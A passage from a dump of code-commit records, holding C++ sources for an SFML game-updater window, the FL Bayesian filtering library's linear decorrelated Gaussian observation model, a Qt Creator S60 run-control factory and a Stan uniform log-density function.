600;\n\tfn::Coord::baseWidth = 800; fn::Coord::baseHeight = 600;\n\tsf::RenderWindow window(sf::VideoMode(800, 600), \"\", sf::Style::None);\n\twindow.setMouseCursorVisible(false);\n\tsf::RectangleShape windowBorder(sf::Vector2f(798, 598));\n\twindowBorder.setPosition(1, 1); windowBorder.setFillColor(sf::Color(40, 40, 40)); windowBorder.setOutlineColor(sf::Color::White); windowBorder.setOutlineThickness(1);\n\tsf::Vertex linetop[] = { sf::Vertex(sf::Vector2f(0, 60)), sf::Vertex(sf::Vector2f(800, 60)) };\n\tsf::Vertex linemiddle[] = { sf::Vertex(sf::Vector2f(0, 450)), sf::Vertex(sf::Vector2f(800, 450)) };\n\tsf::Vertex linebottom[] = { sf::Vertex(sf::Vector2f(0, 550)), sf::Vertex(sf::Vector2f(800, 550)) };\n\n\tsf::Event sfevent;\n\tGUI::Container gui(&sfevent, &window, 800, 600);\n\tGUI::WidgetContainer* mainContainer = gui.createWidgetContainer(\"main\", 1, 0, 0, 800, 600, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* infoContainer = gui.createWidgetContainer(\"info\", 1, 0, 60, 800, 390, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* stgsContainer = gui.createWidgetContainer(\"stgs\", 1, 0, 60, 800, 390, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* logsContainer = gui.createWidgetContainer(\"logs\", 1, 0, 450, 800, 100, GUI::ContainerMovement::Fixed, 0, 0);\n\n\tCursor curs;\n\tcurs.initialize(&window);\n\n\tsf::Font font;\n\tfont.loadFromFile(\"Data\/Fonts\/weblysleekuil.ttf\");\n\n\n\n\t\/\/Main UI\n\tgui.createLabel(\"main\", \"titleLbl\", 10, 10, \"Melting Saga Updater\", \"weblysleekuil.ttf\", 32, sf::Color::White);\n\tgui.createLabel(\"main\", \"updaterVerLbl\", 400, 10, \"Updater : <Nightly> v1.0.5\", \"weblysleekuil.ttf\", 12, sf::Color::White);\n\tgui.createLabel(\"main\", \"updaterVerLbl\", 400, 30, \"Game : <Nightly> v0.0.1\", \"weblysleekuil.ttf\", 12, sf::Color::White);\n\tgui.createCheckbox(\"main\", \"settingsBtn\", 700, 15, \"SETTINGS\", false);\n\tgui.createButton(\"main\", \"quitBtn\", 750, 15, true, true, \"QUIT\");\n\tgui.createButton(\"main\", \"updateBtn\", 600, 560, true, true, \"GREY\");\n\tgui.createLoadingBar(\"main\", \"updateBar\", 10, 560, \"UPDATER\");\n\tgui.createLabel(\"main\", \"updateBarLbl\", 300, 560, \"80%\", \"weblysleekuil.ttf\", 24, sf::Color::White);\n\n\t\/\/Infos UI\n\tgui.createLabel(\"info\", \"updateInfosTitleLbl\", 10, 10, \"Update Informations : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\tgui.createLabel(\"info\", \"updateInfosContLbl\", 30, 45, \"\", \"weblysleekuil.ttf\", 16, sf::Color::White);\n\tstd::ifstream changelogFile(\"changelog.txt\");\n\tstd::string updateContent((std::istreambuf_iterator<char>(changelogFile)),\n\t\tstd::istreambuf_iterator<char>());\n\tGUI::Widget::getWidgetByID<GUI::Label>(\"updateInfosContLbl\")->setComplexText(updateContent);\n\tinfoContainer->addScrollBar();\n\n\t\/\/Settings UI\n\tgui.createLabel(\"stgs\", \"settingsTitleLbl\", 10, 10, \"Settings : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\n\t\/\/Logs UI\n\tgui.createLabel(\"logs\", \"logsTitleLbl\", 10, 10, \"Logs : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\tgui.createLabel(\"logs\", \"logsContLbl\", 10, 45, \"lolibork\", \"weblysleekuil.ttf\", 16, sf::Color::White);\n\tGUI::Widget::getWidgetByID<GUI::Label>(\"logsContLbl\")->setComplexText(\"<color:255,255,255>Connection to MeSa Server : 132.14.88.22:9022 [ \"\n\t\t\"<color:0,255,0>Done\"\n\t\t\"<color:255,255,255> ]\\n\"\n\t\t\"GET : changelog.txt 200 OK [ \"\n\t\t\"<color:0,255,0>Done\"\n\t\t\"<color:255,255,255> ]\\n\");\n\n\n\tGUI::ButtonEvent* appQuitBool = GUI::Widget::getWidgetByID<GUI::Button>(\"quitBtn\")->getHook();\n\tbool* appSettingsBool = GUI::Widget::getWidgetByID<GUI::Checkbox>(\"settingsBtn\")->getHook();\n\tGUI::Widget::getWidgetByID<GUI::Button>(\"updateBtn\")->setText(\"Update\", \"weblysleekuil.ttf\", sf::Color::White, 18, true, 0, -3);\n\tGUI::Widget::getWidgetByID<GUI::LoadingBar>(\"updateBar\")->fill(80, 2);\n\tsf::Vector2i grabbedOffset;\n\n\tbool grabbedWindow = false;\n\twhile (window.isOpen())\n\t{\n\t\twhile (window.pollEvent(sfevent))\n\t\t{\n\t\t\tif (sfevent.type == sf::Event::Closed)\n\t\t\t\twindow.close();\n\t\t\telse if (sfevent.type == sf::Event::KeyPressed)\n\t\t\t{\n\t\t\t\tif (sfevent.key.code == sf::Keyboard::Escape)\n\t\t\t\t\twindow.close();\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseButtonPressed)\n\t\t\t{\n\t\t\t\tif (sf::Mouse::getPosition().y - window.getPosition().y < 60 && sf::Mouse::getPosition().x - window.getPosition().x < 680)\n\t\t\t\t{\n\t\t\t\t\tif (sfevent.mouseButton.button == sf::Mouse::Left)\n\t\t\t\t\t{\n\t\t\t\t\t\tgrabbedOffset = window.getPosition() - sf::Mouse::getPosition();\n\t\t\t\t\t\tgrabbedWindow = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseButtonReleased)\n\t\t\t{\n\t\t\t\tif (sfevent.mouseButton.button == sf::Mouse::Left)\n\t\t\t\t\tgrabbedWindow = false;\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseMoved)\n\t\t\t{\n\t\t\t\tif (grabbedWindow)\n\t\t\t\t\twindow.setPosition(sf::Mouse::getPosition() + grabbedOffset);\n\t\t\t}\n\t\t}\n\t\t\n\t\tgui.updateAllContainer();\n\t\tcurs.update();\n\t\tif (*appQuitBool == GUI::ButtonEvent::Pressed) {window.close();}\n\t\tif (*appSettingsBool) { gui.getContainerByContainerName(\"info\")->setDisplayed(false); gui.getContainerByContainerName(\"stgs\")->setDisplayed(true); }\n\t\telse { gui.getContainerByContainerName(\"info\")->setDisplayed(true); gui.getContainerByContainerName(\"stgs\")->setDisplayed(false); }\n\n\t\twindow.clear(sf::Color(40, 40, 40));\n\t\twindow.draw(windowBorder);\n\t\tgui.drawAllContainer(&window);\n\t\twindow.draw(linetop, 2, sf::Lines); window.draw(linemiddle, 2, sf::Lines); window.draw(linebottom, 2, sf::Lines);\n\t\twindow.draw(*curs.getSprite());\n\t\twindow.display();\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file linear_decorrelated_gaussian_observation_model.hpp\n * \\date October 2014\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#ifndef FL__MODEL__OBSERVATION__LINEAR_DECORRELATED_GAUSSIAN_OBSERVATION_MODEL_HPP\n#define FL__MODEL__OBSERVATION__LINEAR_DECORRELATED_GAUSSIAN_OBSERVATION_MODEL_HPP\n\n#include <fl\/util\/traits.hpp>\n#include <fl\/util\/types.hpp>\n#include <fl\/util\/descriptor.hpp>\n#include <fl\/distribution\/decorrelated_gaussian.hpp>\n#include <fl\/model\/observation\/linear_observation_model.hpp>\n#include <fl\/model\/observation\/interface\/additive_uncorrelated_observation_function.hpp>\n\nnamespace fl\n{\n\n\/**\n * \\ingroup observation_models\n *\/\ntemplate <typename Obsrv, typename State>\nclass LinearDecorrelatedGaussianObservationModel\n : public AdditiveUncorrelatedNoiseModel<DecorrelatedGaussian<Obsrv>>,\n public AdditiveObservationFunction<Obsrv, State, Gaussian<Obsrv>>,\n public Descriptor,\n private internal::LinearModelType\n{\npublic:\n \/\/ specify the main type of this model\n typedef internal::AdditiveUncorrelatedNoiseModelType Type;\n\n typedef AdditiveUncorrelatedNoiseModel<\n DecorrelatedGaussian<Obsrv>\n > AdditiveUncorrelatedInterface;\n\n typedef AdditiveObservationFunction<\n Obsrv, State, Gaussian<Obsrv>\n > AdditiveObservationFunctionInterface;\n\n typedef\n typename AdditiveObservationFunctionInterface::NoiseMatrix NoiseMatrix;\n\n typedef\n typename AdditiveUncorrelatedInterface::NoiseMatrix NoiseDiagonalMatrix;\n\n \/**\n * Observation model sensor matrix \\f$H_t\\f$ use in\n *\n * \\f$ y_t = H_t x_t + N_t v_t \\f$\n *\/\n typedef Eigen::Matrix<\n typename State::Scalar,\n SizeOf<Obsrv>::Value,\n SizeOf<State>::Value\n > SensorMatrix;\n\n \/**\n * Constructs a linear gaussian observation model\n *\n * \\param obsrv_dim observation dimension if dynamic size\n * \\param state_dim state dimension if dynamic size\n *\/\n explicit\n LinearDecorrelatedGaussianObservationModel(\n int obsrv_dim = DimensionOf<Obsrv>(),\n int state_dim = DimensionOf<State>())\n : sensor_matrix_(SensorMatrix::Identity(obsrv_dim, state_dim)),\n density_(obsrv_dim)\n {\n assert(obsrv_dim > 0);\n assert(state_dim > 0);\n }\n\n \/**\n * \\brief Overridable default destructor\n *\/\n virtual ~LinearDecorrelatedGaussianObservationModel() { }\n\n virtual NoiseDiagonalMatrix noise_matrix_diagonal() const\n {\n return density_.square_root();\n }\n\n virtual NoiseDiagonalMatrix noise_covariance_diagonal() const\n {\n return density_.covariance();\n }\n\n \/**\n * \\brief expected_observation\n * \\param state\n * \\return\n *\/\n Obsrv expected_observation(const State& state) const override\n {\n return sensor_matrix_ * state;\n }\n\n Real log_probability(const Obsrv& obsrv, const State& state) const\n {\n density_.mean(expected_observation(state));\n\n return density_.log_probability(obsrv);\n }\n\n const SensorMatrix& sensor_matrix() const override\n {\n return sensor_matrix_;\n }\n\n NoiseMatrix noise_matrix() const override\n {\n return density_.square_root();\n }\n\n NoiseMatrix noise_covariance() const override\n {\n return density_.covariance();\n }\n\n int obsrv_dimension() const override\n {\n return sensor_matrix_.rows();\n }\n\n int noise_dimension() const override\n {\n return density_.square_root().cols();\n }\n\n int state_dimension() const override\n {\n return sensor_matrix_.cols();\n }\n\n virtual void sensor_matrix(const SensorMatrix& sensor_mat)\n {\n sensor_matrix_ = sensor_mat;\n }\n\n virtual void noise_matrix(const NoiseMatrix& noise_mat)\n {\n density_.square_root(noise_mat.diagonal().asDiagonal());\n }\n\n virtual void noise_covariance(const NoiseMatrix& noise_mat_squared)\n {\n density_.covariance(noise_mat_squared.diagonal().asDiagonal());\n }\n\n virtual void noise_matrix_diagonal(\n const NoiseDiagonalMatrix& noise_mat)\n {\n density_.square_root(noise_mat);\n }\n\n virtual void noise_covariance_diagonal(\n const NoiseDiagonalMatrix& noise_mat_squared)\n {\n density_.covariance(noise_mat_squared);\n }\n\n virtual SensorMatrix create_sensor_matrix() const\n {\n auto H = sensor_matrix();\n H.setIdentity();\n return H;\n }\n\n virtual NoiseMatrix create_noise_matrix() const\n {\n auto N = noise_matrix();\n N.setIdentity();\n return N;\n }\n\n virtual std::string name() const\n {\n return \"LinearDecorrelatedGaussianObservationModel\";\n }\n\n virtual std::string description() const\n {\n return \"Linear observation model with additive decorrelated Gaussian \"\n \"noise\";\n }\n\nprivate:\n SensorMatrix sensor_matrix_;\n mutable DecorrelatedGaussian<Obsrv> density_;\n};\n\n}\n\n#endif\n<commit_msg>added diagonal matrix factory functions<commit_after>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file linear_decorrelated_gaussian_observation_model.hpp\n * \\date October 2014\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#ifndef FL__MODEL__OBSERVATION__LINEAR_DECORRELATED_GAUSSIAN_OBSERVATION_MODEL_HPP\n#define FL__MODEL__OBSERVATION__LINEAR_DECORRELATED_GAUSSIAN_OBSERVATION_MODEL_HPP\n\n#include <fl\/util\/traits.hpp>\n#include <fl\/util\/types.hpp>\n#include <fl\/util\/descriptor.hpp>\n#include <fl\/distribution\/decorrelated_gaussian.hpp>\n#include <fl\/model\/observation\/linear_observation_model.hpp>\n#include <fl\/model\/observation\/interface\/additive_uncorrelated_observation_function.hpp>\n\nnamespace fl\n{\n\n\/**\n * \\ingroup observation_models\n *\/\ntemplate <typename Obsrv, typename State>\nclass LinearDecorrelatedGaussianObservationModel\n : public AdditiveUncorrelatedNoiseModel<DecorrelatedGaussian<Obsrv>>,\n public AdditiveObservationFunction<Obsrv, State, Gaussian<Obsrv>>,\n public Descriptor,\n private internal::LinearModelType\n{\npublic:\n \/\/ specify the main type of this model\n typedef internal::AdditiveUncorrelatedNoiseModelType Type;\n\n typedef AdditiveUncorrelatedNoiseModel<\n DecorrelatedGaussian<Obsrv>\n > AdditiveUncorrelatedInterface;\n\n typedef AdditiveObservationFunction<\n Obsrv, State, Gaussian<Obsrv>\n > AdditiveObservationFunctionInterface;\n\n typedef\n typename AdditiveObservationFunctionInterface::NoiseMatrix NoiseMatrix;\n\n typedef\n typename AdditiveUncorrelatedInterface::NoiseMatrix NoiseDiagonalMatrix;\n\n \/**\n * Observation model sensor matrix \\f$H_t\\f$ use in\n *\n * \\f$ y_t = H_t x_t + N_t v_t \\f$\n *\/\n typedef Eigen::Matrix<\n typename State::Scalar,\n SizeOf<Obsrv>::Value,\n SizeOf<State>::Value\n > SensorMatrix;\n\n \/**\n * Constructs a linear gaussian observation model\n *\n * \\param obsrv_dim observation dimension if dynamic size\n * \\param state_dim state dimension if dynamic size\n *\/\n explicit\n LinearDecorrelatedGaussianObservationModel(\n int obsrv_dim = DimensionOf<Obsrv>(),\n int state_dim = DimensionOf<State>())\n : sensor_matrix_(SensorMatrix::Identity(obsrv_dim, state_dim)),\n density_(obsrv_dim)\n {\n assert(obsrv_dim > 0);\n assert(state_dim > 0);\n }\n\n \/**\n * \\brief Overridable default destructor\n *\/\n virtual ~LinearDecorrelatedGaussianObservationModel() { }\n\n \/**\n * \\brief expected_observation\n * \\param state\n * \\return\n *\/\n Obsrv expected_observation(const State& state) const override\n {\n return sensor_matrix_ * state;\n }\n\n Real log_probability(const Obsrv& obsrv, const State& state) const\n {\n density_.mean(expected_observation(state));\n\n return density_.log_probability(obsrv);\n }\n\n const SensorMatrix& sensor_matrix() const override\n {\n return sensor_matrix_;\n }\n\n NoiseMatrix noise_matrix() const override\n {\n return density_.square_root();\n }\n\n NoiseMatrix noise_covariance() const override\n {\n return density_.covariance();\n }\n\n virtual NoiseDiagonalMatrix noise_diagonal_matrix() const\n {\n return density_.square_root();\n }\n\n virtual NoiseDiagonalMatrix noise_diagonal_covariance() const\n {\n return density_.covariance();\n }\n\n int obsrv_dimension() const override\n {\n return sensor_matrix_.rows();\n }\n\n int noise_dimension() const override\n {\n return density_.square_root().cols();\n }\n\n int state_dimension() const override\n {\n return sensor_matrix_.cols();\n }\n\n virtual void sensor_matrix(const SensorMatrix& sensor_mat)\n {\n sensor_matrix_ = sensor_mat;\n }\n\n virtual void noise_matrix(const NoiseMatrix& noise_mat)\n {\n density_.square_root(noise_mat.diagonal().asDiagonal());\n }\n\n virtual void noise_covariance(const NoiseMatrix& noise_mat_squared)\n {\n density_.covariance(noise_mat_squared.diagonal().asDiagonal());\n }\n\n virtual void noise_diagonal_matrix(\n const NoiseDiagonalMatrix& noise_mat)\n {\n density_.square_root(noise_mat);\n }\n\n virtual void noise_diagonal_covariance(\n const NoiseDiagonalMatrix& noise_mat_squared)\n {\n density_.covariance(noise_mat_squared);\n }\n\n virtual SensorMatrix create_sensor_matrix() const\n {\n auto H = sensor_matrix();\n H.setIdentity();\n return H;\n }\n\n virtual NoiseMatrix create_noise_matrix() const\n {\n auto N = noise_matrix();\n N.setIdentity();\n return N;\n }\n\n virtual NoiseMatrix create_noise_covariance() const\n {\n auto C = noise_covariance();\n C.setIdentity();\n return C;\n }\n\n virtual NoiseMatrix create_noise_diagonal_matrix() const\n {\n auto N = noise_diagonal_matrix();\n N.setIdentity();\n return N;\n }\n\n virtual NoiseMatrix create_noise_diagonal_covariance() const\n {\n auto C = noise_diagonal_covariance();\n C.setIdentity();\n return C;\n }\n\n virtual std::string name() const\n {\n return \"LinearDecorrelatedGaussianObservationModel\";\n }\n\n virtual std::string description() const\n {\n return \"Linear observation model with additive decorrelated Gaussian \"\n \"noise\";\n }\n\nprivate:\n SensorMatrix sensor_matrix_;\n mutable DecorrelatedGaussian<Obsrv> density_;\n};\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** No Commercial Usage\n**\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"s60runcontrolfactory.h\"\n\n#include \"codaruncontrol.h\"\n#include \"s60devicerunconfiguration.h\"\n#include \"s60deployconfiguration.h\"\n#include \"trkruncontrol.h\"\n#include \"qt4symbiantarget.h\"\n\n#include <utils\/qtcassert.h>\n\nusing namespace ProjectExplorer;\nusing namespace Qt4ProjectManager;\nusing namespace Qt4ProjectManager::Internal;\n\nS60RunControlFactory::S60RunControlFactory(const QString &mode,\n const QString &name,\n QObject *parent) :\n IRunControlFactory(parent), m_mode(mode), m_name(name)\n{\n}\n\nbool S60RunControlFactory::canRun(RunConfiguration *runConfiguration, const QString &mode) const\n{\n if (mode != m_mode)\n return false;\n S60DeviceRunConfiguration *rc = qobject_cast<S60DeviceRunConfiguration *>(runConfiguration);\n if (!rc)\n return false;\n S60DeployConfiguration *activeDeployConf = qobject_cast<S60DeployConfiguration *>(rc->qt4Target()->activeDeployConfiguration());\n return activeDeployConf != 0;\n}\n\nRunControl* S60RunControlFactory::create(RunConfiguration *runConfiguration, const QString &mode)\n{\n S60DeviceRunConfiguration *rc = qobject_cast<S60DeviceRunConfiguration *>(runConfiguration);\n\n QTC_ASSERT(rc, return 0);\n QTC_ASSERT(mode == m_mode, return 0);\n\n S60DeployConfiguration *activeDeployConf = qobject_cast<S60DeployConfiguration *>(rc->qt4Target()->activeDeployConfiguration());\n if (!activeDeployConf)\n return 0;\n\n if (activeDeployConf->communicationChannel() == S60DeployConfiguration::CommunicationTrkSerialConnection)\n return new TrkRunControl(rc, mode);\n return new CodaRunControl(rc, mode);\n}\n\nQString S60RunControlFactory::displayName() const\n{\n return m_name;\n}\n\nRunConfigWidget *S60RunControlFactory::createConfigurationWidget(RunConfiguration* runConfiguration \/*S60DeviceRunConfiguration *\/)\n{\n return 0;\n}\n<commit_msg>Fixed 'unused' warning<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** No Commercial Usage\n**\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"s60runcontrolfactory.h\"\n\n#include \"codaruncontrol.h\"\n#include \"s60devicerunconfiguration.h\"\n#include \"s60deployconfiguration.h\"\n#include \"trkruncontrol.h\"\n#include \"qt4symbiantarget.h\"\n\n#include <utils\/qtcassert.h>\n\nusing namespace ProjectExplorer;\nusing namespace Qt4ProjectManager;\nusing namespace Qt4ProjectManager::Internal;\n\nS60RunControlFactory::S60RunControlFactory(const QString &mode,\n const QString &name,\n QObject *parent) :\n IRunControlFactory(parent), m_mode(mode), m_name(name)\n{\n}\n\nbool S60RunControlFactory::canRun(RunConfiguration *runConfiguration, const QString &mode) const\n{\n if (mode != m_mode)\n return false;\n S60DeviceRunConfiguration *rc = qobject_cast<S60DeviceRunConfiguration *>(runConfiguration);\n if (!rc)\n return false;\n S60DeployConfiguration *activeDeployConf = qobject_cast<S60DeployConfiguration *>(rc->qt4Target()->activeDeployConfiguration());\n return activeDeployConf != 0;\n}\n\nRunControl* S60RunControlFactory::create(RunConfiguration *runConfiguration, const QString &mode)\n{\n S60DeviceRunConfiguration *rc = qobject_cast<S60DeviceRunConfiguration *>(runConfiguration);\n\n QTC_ASSERT(rc, return 0);\n QTC_ASSERT(mode == m_mode, return 0);\n\n S60DeployConfiguration *activeDeployConf = qobject_cast<S60DeployConfiguration *>(rc->qt4Target()->activeDeployConfiguration());\n if (!activeDeployConf)\n return 0;\n\n if (activeDeployConf->communicationChannel() == S60DeployConfiguration::CommunicationTrkSerialConnection)\n return new TrkRunControl(rc, mode);\n return new CodaRunControl(rc, mode);\n}\n\nQString S60RunControlFactory::displayName() const\n{\n return m_name;\n}\n\nQWidget *S60RunControlFactory::createConfigurationWidget(RunConfiguration *runConfiguration)\n{\n Q_UNUSED(runConfiguration);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS__UNIFORM_HPP__\n#define __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS__UNIFORM_HPP__\n\n#include <stan\/agrad.hpp>\n#include <stan\/math\/error_handling.hpp>\n#include <stan\/math\/special_functions.hpp>\n#include <stan\/meta\/traits.hpp>\n#include <stan\/prob\/constants.hpp>\n#include <stan\/prob\/traits.hpp>\n\nnamespace stan {\n\n namespace prob {\n\n \/\/ CONTINUOUS, UNIVARIATE DENSITIES\n \/**\n * The log of a uniform density for the given \n * y, lower, and upper bound. \n *\n \\f{eqnarray*}{\n y &\\sim& \\mbox{\\sf{U}}(\\alpha, \\beta) \\\\\n \\log (p (y \\,|\\, \\alpha, \\beta)) &=& \\log \\left( \\frac{1}{\\beta-\\alpha} \\right) \\\\\n &=& \\log (1) - \\log (\\beta - \\alpha) \\\\\n &=& -\\log (\\beta - \\alpha) \\\\\n & & \\mathrm{ where } \\; y \\in [\\alpha, \\beta], \\log(0) \\; \\mathrm{otherwise}\n \\f}\n * \n * @param y A scalar variable.\n * @param alpha Lower bound.\n * @param beta Upper bound.\n * @throw std::invalid_argument if the lower bound is greater than \n * or equal to the lower bound\n * @tparam T_y Type of scalar.\n * @tparam T_low Type of lower bound.\n * @tparam T_high Type of upper bound.\n *\/\n template <bool propto,\n typename T_y, typename T_low, typename T_high, \n class Policy>\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta, \n const Policy&) {\n static const char* function = \"stan::prob::uniform_log(%1%)\";\n \n using stan::math::check_not_nan;\n using stan::math::check_finite;\n using stan::math::check_greater;\n using stan::math::value_of;\n using stan::math::check_consistent_sizes;\n\n \/\/ check if any vectors are zero length\n if (!(stan::length(y) \n && stan::length(alpha) \n && stan::length(beta)))\n return 0.0;\n\n \/\/ set up return value accumulator\n typename return_type<T_y,T_low,T_high>::type logp(0.0);\n if(!check_not_nan(function, y, \"Random variable\", &logp, Policy()))\n return logp;\n if (!check_finite(function, alpha, \"Lower bound parameter\", &logp, Policy()))\n return logp;\n if (!check_finite(function, beta, \"Upper bound parameter\", &logp, Policy()))\n return logp;\n if (!check_greater(function, beta, alpha, \"Upper bound parameter\",\n &logp, Policy()))\n return logp;\n if (!(check_consistent_sizes(function,\n y,alpha,beta,\n\t\t\t\t \"Random variable\",\"Lower bound parameter\",\"Upper bound parameter\",\n &logp, Policy())))\n return logp;\n\n \n \/\/ check if no variables are involved and prop-to\n if (!include_summand<propto,T_y,T_low,T_high>::value)\n\treturn 0.0;\n\n VectorView<const T_y> y_vec(y);\n VectorView<const T_low> alpha_vec(alpha);\n VectorView<const T_high> beta_vec(beta);\n size_t N = max_size(y, alpha, beta);\n\n for (size_t n = 0; n < N; n++) {\n\tconst double y_dbl = value_of(y_vec[n]);\n\tif (y_dbl < value_of(alpha_vec[n]) || y_dbl > value_of(beta_vec[n]))\n\t return LOG_ZERO;\n }\n \n for (size_t n = 0; n < N; n++) {\n\tif (include_summand<propto,T_low,T_high>::value)\n\t logp -= log(beta_vec[n] - alpha_vec[n]);\n }\n return logp;\n }\n\n\n template <bool propto,\n typename T_y, typename T_low, typename T_high>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta) {\n return uniform_log<propto>(y,alpha,beta,stan::math::default_policy());\n }\n\n template <typename T_y, typename T_low, typename T_high, \n class Policy>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta, \n const Policy&) {\n return uniform_log<false>(y,alpha,beta,Policy());\n }\n\n\n template <typename T_y, typename T_low, typename T_high>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta) {\n return uniform_log<false>(y,alpha,beta,stan::math::default_policy());\n }\n\n \n }\n}\n#endif\n<commit_msg>evaluated derivatives for uniform<commit_after>#ifndef __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS__UNIFORM_HPP__\n#define __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS__UNIFORM_HPP__\n\n#include <stan\/agrad.hpp>\n#include <stan\/math\/error_handling.hpp>\n#include <stan\/math\/special_functions.hpp>\n#include <stan\/meta\/traits.hpp>\n#include <stan\/prob\/constants.hpp>\n#include <stan\/prob\/traits.hpp>\n\nnamespace stan {\n\n namespace prob {\n\n \/\/ CONTINUOUS, UNIVARIATE DENSITIES\n \/**\n * The log of a uniform density for the given \n * y, lower, and upper bound. \n *\n \\f{eqnarray*}{\n y &\\sim& \\mbox{\\sf{U}}(\\alpha, \\beta) \\\\\n \\log (p (y \\,|\\, \\alpha, \\beta)) &=& \\log \\left( \\frac{1}{\\beta-\\alpha} \\right) \\\\\n &=& \\log (1) - \\log (\\beta - \\alpha) \\\\\n &=& -\\log (\\beta - \\alpha) \\\\\n & & \\mathrm{ where } \\; y \\in [\\alpha, \\beta], \\log(0) \\; \\mathrm{otherwise}\n \\f}\n * \n * @param y A scalar variable.\n * @param alpha Lower bound.\n * @param beta Upper bound.\n * @throw std::invalid_argument if the lower bound is greater than \n * or equal to the lower bound\n * @tparam T_y Type of scalar.\n * @tparam T_low Type of lower bound.\n * @tparam T_high Type of upper bound.\n *\/\n template <bool propto,\n typename T_y, typename T_low, typename T_high, \n class Policy>\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta, \n const Policy&) {\n static const char* function = \"stan::prob::uniform_log(%1%)\";\n \n using stan::math::check_not_nan;\n using stan::math::check_finite;\n using stan::math::check_greater;\n using stan::math::value_of;\n using stan::math::check_consistent_sizes;\n\n \/\/ check if any vectors are zero length\n if (!(stan::length(y) \n && stan::length(alpha) \n && stan::length(beta)))\n return 0.0;\n\n \/\/ set up return value accumulator\n double logp(0.0);\n if(!check_not_nan(function, y, \"Random variable\", &logp, Policy()))\n return logp;\n if (!check_finite(function, alpha, \"Lower bound parameter\", &logp, Policy()))\n return logp;\n if (!check_finite(function, beta, \"Upper bound parameter\", &logp, Policy()))\n return logp;\n if (!check_greater(function, beta, alpha, \"Upper bound parameter\",\n &logp, Policy()))\n return logp;\n if (!(check_consistent_sizes(function,\n y,alpha,beta,\n\t\t\t\t \"Random variable\",\"Lower bound parameter\",\"Upper bound parameter\",\n &logp, Policy())))\n return logp;\n\n \n \/\/ check if no variables are involved and prop-to\n if 